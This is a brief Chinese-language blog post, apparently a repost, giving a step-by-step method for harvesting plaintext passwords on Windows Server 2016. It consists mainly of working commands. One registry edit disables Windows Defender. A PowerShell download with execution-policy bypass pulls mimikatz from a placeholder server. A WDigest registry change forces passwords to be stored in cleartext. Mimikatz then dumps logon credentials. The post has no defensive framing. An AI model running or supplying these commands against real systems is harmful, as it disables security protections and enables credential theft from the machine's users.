Windows Server 2016抓取明文密码
作者:互联网
临时禁止Windows Defender
1 2 |
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force
|
下载mimikatz后解压缩。
1 |
powershell.exe -NoP -NonI -Exec Bypass -Command "& {Import-Module BitsTransfer; Start-BitsTransfer 'http://你的服务器/mimikatz_trunk.zip' "%APPDATA%\mimikatz_trunk.zip"}"
|
修改注册表开启UseLogonCredential
1 |
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
|
等用户下次再登录的时候,可抓到明文密码
1 2 |
mimikatz.exe privilege::debug
sekurlsa::logonpasswords exit
|
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/archives/2854
标签:BitsTransfer,zip,Windows,Server,mimikatz,DWORD,2016,REG 来源: https://www.cnblogs.com/ssw6/p/14512535.html